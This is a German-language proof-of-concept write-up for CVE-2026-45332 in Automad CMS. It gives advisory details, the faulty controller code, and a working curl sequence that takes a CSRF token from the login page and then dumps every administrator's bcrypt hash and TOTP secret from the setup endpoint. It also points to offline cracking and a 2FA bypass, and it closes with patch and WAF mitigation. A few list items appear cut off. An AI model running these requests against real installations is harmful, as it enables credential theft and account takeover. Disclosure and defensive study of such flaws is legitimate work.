
Proof-of-Concept-Exploit für CVE-2026-45332, eine fehlerhafte Zugriffskontrolle in Automad CMS, die einen nicht authentifizierten Abruf von Admin-bcrypt-Hashes und TOTP-Geheimnissen ermöglicht.
Proof of Concept für CVE-2026-45332, eine Schwachstelle in der Zugriffskontrolle von Automad CMS, die es jedem nicht authentifizierten Angreifer ermöglicht, den bcrypt-Passwort-Hash und das TOTP-Geheimnis jedes Administratorkontos über den Setup-Endpunkt auszulesen, der nach der anfänglichen Konfiguration nie deaktiviert wird.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-45332 |
| GHSA | GHSA-xm76-r88j-vm3g |
| Produkt | Automad CMS (composer automad/automad) |
| Betroffen | >= 2.0.0-alpha.1, <= 2.0.0-beta.27 |
| Behoben | 2.0.0-beta.28 |
| CVSS 3.1 | 7.5 Hoch (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-200 (Offenlegung sensibler Informationen), CWE-306 (Fehlende Authentifizierung für kritische Funktion) |
| Forscher | Lorenzo Camilli |
Automad ist ein dateibasiertes PHP-CMS. Der Setup-Endpunkt zum Erstellen des ersten Administratorkontos, /_api/user-collection/create-first-user, ist als dauerhaft öffentliche API-Route registriert. Es gibt keine Absicherung, die ihn schließt, sobald die anfängliche Konfiguration abgeschlossen ist.
Auf einer live konfigurierten Instanz lädt ein nicht authentifizierter POST-Request an diesen Endpunkt die gesamte Benutzerdatenbank von der Festplatte und gibt sie serialisiert im JSON-Response-Body zurück, einschließlich:
2.0.0-beta.27)Es ist kein bestehendes Konto, keine Anmeldedaten oder eine spezielle Netzwerkposition erforderlich.
Die Route wird im Array $publicAPIRoutes in automad/src/server/Routes.php platziert und unter der Bedingung AM_PAGE_DASHBOARD registriert, einer Konstante, die auf den String '/dashboard' ausgewertet wird und daher immer wahr ist. Die Route bleibt bei jeder Installation registriert, auch nachdem die Einrichtung abgeschlossen ist.
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
$UserCollection = new UserCollection(); // lädt ALLE vorhandenen Benutzer von der Festplatte
// ...
$php = $UserCollection->generatePHP(); // serialisiert jeden Benutzer inklusive Hashes
return $Response->setData(array(
'php' => $php, // Credential-Hashes werden in der Antwort zurückgegeben
'configDir' => dirname(UserCollection::FILE_ACCOUNTS) // absoluter Pfad wird preisgegeben
));
}
User::__serialize() enthält die privaten Felder passwordHash und totpSecret, sodass diese in der serialisierten Ausgabe landen, die an den Aufrufer zurückgegeben wird.
Vollständige technische Beschreibung: PoC.md.
Der Endpunkt erfordert ein gültiges CSRF-Token und ein Automad-Session-Cookie, die beide frei von der öffentlichen Login-Seite bezogen werden können. Reproduktion:
# 1. Session-Cookie und CSRF-Token von der öffentlichen Login-Seite holen
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
| grep -oP '(?<=<meta name="csrf" content=")[^"]+')
# 2. Credential-Speicher auslesen
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
--data-urlencode "__csrf__=$CSRF" \
--data-urlencode 'username=dummy' \
--data-urlencode 'password1=AnyPassword1!' \
--data-urlencode 'password2=AnyPassword1!' \
--data-urlencode '[email protected]' | jq .
Die Antwort enthält den bcrypt-Hash und das TOTP-Geheimnis jedes registrierten Administrators sowie den absoluten Konfigurationspfad:
{
"code": 200,
"data": {
"php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
"filename": "accounts.php",
"configDir": "/path/to/config"
}
}
Die bcrypt-Hashes können dann offline geknackt werden (Hashcat / John). Bei 2.0.0-beta.27 umgeht das preisgegebene TOTP-Geheimnis die Zwei-Faktor-Authentifizierung vollständig.
Ein nicht authentifizierter entfernter Angreifer kann:
2.0.0-beta.27).Aktualisieren Sie auf Automad 2.0.0-beta.28 oder höher, das den Endpunkt einschränkt, sobald die anfängliche Einrichtung abgeschlossen ist. Als temporäre Absicherung blockieren Sie Anfragen an /_api/user-collection/create-first-user auf dem Webserver oder dem WAF.